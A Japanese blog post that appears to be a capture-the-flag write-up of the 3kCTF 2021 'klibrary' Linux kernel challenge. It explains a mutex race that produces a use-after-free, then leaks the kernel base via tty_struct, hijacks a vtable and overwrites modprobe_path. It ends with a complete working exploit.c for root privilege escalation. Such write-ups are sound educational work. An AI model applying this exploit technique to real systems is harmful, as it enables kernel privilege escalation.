イントロ Link to this heading

このエントリはTSG Advent Calendar 2019 の 24 日目の記事です。実に 700 日ほど遅れての投稿になります。 前回はfiordさんによる「この世界で最も愛しい生物とそれに関する技術について - アルゴリズマーの備忘録 」でした。次回はJP3BGYさんによる「GCC で返答保留になった話 | J’s Labでした

すごくお腹が空いたので、いつぞや開催された3kCTF 2021の kernel 問題であるklibraryを解いていこうと思います。なんか最近サンタさん来ないんですが、悪い子なのかも知れないです。

static Link to this heading

リシテア曰く。

lysithea.sh
 1===============================
 2Drothea v1.0.0
 3[.] kernel version:
 4Linux version 5.9.10 (maher@maher) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for U1
 5[+] CONFIG_KALLSYMS_ALL is disabled.
 6cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
 7[!] unprivileged userfaultfd is enabled.
 8Ingrid v1.0.0
 9[.] userfaultfd is not disabled.
10[-] CONFIG_DEVMEM is disabled.
11===============================

割と手堅いけど、uffd ができる。あとなんかvmlinuxを strip せずにそのままくれてた、クリスマスプレゼントかも知れない。どうでもいいけどCONFIG_KALLSYMS_ALLが無効になってる、めずらし。SMEP/SMAP/KPTI/KASLR は全部有効。

module overview Link to this heading

chr デバイス。Book構造体の double-linked list を保持。典型的なノート問題。

book.c
1struct Book {
2  char book_description[BOOK_DESCRIPTION_SIZE];
3  unsigned long index;
4  struct Book* next;
5  struct Book* prev;
6} *root;

mutex を使っている。だが、わざわざ 2 つ(ioctl_lock, remove_all_lock)用意しているせいで、ロックを正常に取れていない(eg: REMOVE_ALL + REMOVE等)。

.c
 1static DEFINE_MUTEX(ioctl_lock);
 2static DEFINE_MUTEX(remove_all_lock);
 3
 4  if (cmd == CMD_REMOVE_ALL) {
 5    mutex_lock(&remove_all_lock);
 6    remove_all();
 7    mutex_unlock(&remove_all_lock);
 8  } else {
 9    mutex_lock(&ioctl_lock);
10
11    switch (cmd) {
12    case CMD_ADD:
13      add_book(request.index);
14      break;
15    case CMD_REMOVE:
16      remove_book(request.index);
17      break;
18    case CMD_ADD_DESC:
19      add_description_to_book(request);
20      break;
21    case CMD_GET_DESC:
22      get_book_description(request);
23      break;
24    }

THE・ノート問題のため、モジュールの詳細は省略。ソースコードを見てください。

vuln Link to this heading

上に貼ったコードの通り、REMOVE_ALLとその他のコマンドで異なる mutex を使っているため、この 2 種の操作でレースが生じる。remove_all()は双方向リストを根っこから辿って順々にkfree()していく。add_description_to_book()/get_book_description()では、リストからユーザ指定のindexを持つBookを探し出し、copy_from_user()/copy_to_user()Book構造体にデータを直接出し入れする。 よって、(add|get)_description()で処理を止めている間にremove_all()で該当ノートを消してしまえば kUAF になる。最初にリシテアが言っていたように unprivileged uffd が許可されているため、レースも簡単。

leak kbase via tty_struct Link to this heading

さて、struct Bookdescriptionを直接埋め込んでいるためkmalloc-1024に入る大きさである。この大きさと言えばstruct tty_struct。leak した後に適当にテキストっぽいものを選べば kbase leak 完了! あとtty_structは kbase の他にもヒープのアドレス、とりわけ自分自身を指すアドレスを持っているため、これも忘れずに leak しておく。

tty_struct

get RIP via vtable in tty_struct Link to this heading

さてさて、今度は RIP を取る必要がある。や、まぁ RIP 取らなくても年は越せるんですが。 原理は leak と同じで、copy_to_user()でフォルトを起こして止めている間に、remove_allでそいつをkfree()しちゃう。その直後にtty_structを確保することで、tty_structに任意の値を書き込むことが出来る。 書き込む位置は指定できず、必ずtty_structの先頭から 0x300byte 書き込むことになる。このとき、先頭のマジックナンバー(0x5401)が壊れているとtty_ioctl()@drives/tty/tty_io.c内のtty_paranoia_check()で処理が終わってしまうため、これだけはちゃんと上書きしておく。

paranoia

tty_struct + 0x200あたりにフェイクの vtable として実行したいコードのアドレスを入れておく。あとはopsを書き換えるために、(オフセットとか考えるのめんどいから)全部tty_struct + 0x200のアドレスで上書きする。ここで必要なtty_struct自身のアドレスは、先程の leak の段階で入手できている。これで RIP も取れました。

rip

overwriting modprobe_path just by repeating single gadget Link to this heading

さてさてさて、このあとの方針は色々とありそう。以前解いたnutty ではtty_structの中で kROP をしてcommit(pkc(0))していた。けど、これはまぁ色々と面倒くさいし、この問題と少し状況が異なっていて stack pivot が簡単に出来なかったため却下。 上のスタックトレースは、ioctl(ptmxfd, 0xdeadbeef, 0xcafebabe)の結果なのだが、RDX/RSIが制御できていることが分かる。よって、mov Q[rdx], rsiとかmov Q[rsi], rdxみたいなガジェットを使うことで、任意アドレスの 8byte を書き換えられる。tty_structは意外と頑丈らしく、全部破壊的に書き換えたとしても正常に終了してくれるっぽいので、このガジェットを何回でも呼び出すことが出来る。よって、これでmodprobe_pathを書き換えれば終わり。

gadget.txt
10xffffffff8113e9b0: mov qword [rdx], rsi ; ret  ;  (2 found)
20xffffffff81018c30: mov qword [rsi], rdx ; ret  ;  (4 found)

やっぱりこの方法めっちゃ楽。

exploit Link to this heading

exploit.c
  1#include "./exploit.h"
  2#include <fcntl.h>
  3#include <sched.h>
  4
  5/*********** commands ******************/
  6#define DEV_PATH "/dev/library"   // the path the device is placed
  7#define CMD_ADD			0x3000
  8#define CMD_REMOVE		0x3001
  9#define CMD_REMOVE_ALL	0x3002
 10#define CMD_ADD_DESC	0x3003
 11#define CMD_GET_DESC 	0x3004
 12
 13#define BOOK_DESCRIPTION_SIZE 0x300
 14
 15/**********  types *********************/
 16typedef struct {
 17	unsigned long index;
 18	char* userland_pointer;
 19} Request;
 20
 21#define GET_DESC_REGION          0x40000
 22#define ADD_DESC_REGION    0x50000
 23
 24/*********** globals ****************/
 25
 26char bigbuf[PAGE] = {0};
 27int fd, ttyfd;
 28ulong kbase = 0, tty_addr = 0;
 29scu mov_addr_rdx_rsi = 0x13e9b0;
 30
 31// (END globals)
 32
 33/********** utils ******************/
 34
 35void add_book(int fd, ulong index) {
 36  Request req = {.index = index,};
 37  assert(ioctl(fd, CMD_ADD, &req) == 0);
 38}
 39
 40void remove_all(int fd) {
 41  assert(ioctl(fd, CMD_REMOVE_ALL, remove_all) == 0);
 42}
 43
 44// (END utils)
 45
 46static void handler(ulong addr) {
 47  puts("[+] removing all books.");
 48  remove_all(fd);
 49  puts("[+] allocating tty_struct...");
 50  assert((ttyfd = open("/dev//ptmx", O_RDWR | O_NOCTTY)) > 3);
 51}
 52
 53int main(int argc, char *argv[]) {
 54  system("echo -ne \"\\xff\\xff\\xff\\xff\" > /tmp/nirugiri");
 55  system("echo -ne \"#!/bin/sh\nchmod 777 /flag.txt && cat /flag.txt\" > /tmp/a");
 56  system("chmod +x /tmp/nirugiri");
 57  system("chmod +x /tmp/a");
 58  assert((fd = open(DEV_PATH, O_RDWR)) > 2);
 59
 60  // spray
 61  for (int ix = 0; ix != 0x10; ++ix)
 62    assert(open("/dev/ptmx", O_RDWR | O_NOCTTY) > 3);
 63
 64  // prepare
 65  add_book(fd, 0); add_book(fd, 1);
 66
 67  // set uffd region
 68  struct skb_uffder *uffder = new_skb_uffder(GET_DESC_REGION, 1, bigbuf, handler, "getdesc");
 69  skb_uffd_start(uffder, NULL);
 70  sleep(1);
 71
 72  // invoke uffd fault and remove all books while halting
 73  Request req = {.index = 1, .userland_pointer = (char*)GET_DESC_REGION};
 74  assert(ioctl(fd, CMD_GET_DESC, &req) == 0);
 75
 76  assert((kbase = ((ulong*)GET_DESC_REGION)[0x210 / 8] - 0x14fc00) != 0);
 77  assert((tty_addr = ((ulong*)GET_DESC_REGION)[0x1c8 / 8] + 0x800) != 0);
 78  ulong modprobe_path = kbase + 0x837d00;
 79  ulong rop_start = kbase + mov_addr_rdx_rsi;
 80  printf("[!] kbase: 0x%lx\n", kbase);
 81  printf("[!] tty_struct : 0x%lx\n", tty_addr); // tty_addr is the Book[0]
 82
 83  /****************************************************/
 84
 85  // prepare
 86  add_book(fd, 0);
 87
 88  // set uffd region
 89  struct skb_uffder *uffder2 = new_skb_uffder(ADD_DESC_REGION, 1, bigbuf, handler, "adddesc");
 90  skb_uffd_start(uffder2, NULL);
 91  *(unsigned*)bigbuf = 0x5401; // magic for paranoia check in tty_ioctl()
 92
 93  // prepare fake vtable at the bottom of tty_struct
 94  for (int ix = 1; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) {
 95    ((unsigned long*)bigbuf)[ix] = tty_addr + 0x200;
 96  }
 97  for (int ix = BOOK_DESCRIPTION_SIZE / 8 / 3 * 2; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) {
 98    ((unsigned long*)bigbuf)[ix] = rop_start;
 99  }
100
101  // invoke fault
102  Request req2 = {.index = 0, .userland_pointer = (char*)ADD_DESC_REGION};
103  assert(ioctl(fd, CMD_ADD_DESC, &req2) == 0);
104
105  puts("[+] calling tty ioctl...");
106  char *uo = "/tmp/a\x00";
107  ioctl(ttyfd, ((unsigned *)uo)[0], modprobe_path);
108  ioctl(ttyfd, ((unsigned *)uo)[1], modprobe_path + 4);
109
110  puts("[+] executing evil script...");
111  system("/tmp/nirugiri");
112  system("cat /flag.txt");
113
114  // end of life
115  puts("[ ] END of life...");
116  exit(0);
117}

アウトロ Link to this heading

風花雪月は 4 周目黄色ルートが終わりました。流石に飽きてきた可能性があり、5 周目を始めるかどうか迷っています。

今年のアドベントカレンダーでは、「実家までこっそりと帰省して、バレないようにピンポンダッシュして東京に戻る」か「世界一きれいに手書きの『ぬ』を書きたい」のどちらかをテーマに書こうと思っています。また 700 日後にお会いしましょう。

参考 Link to this heading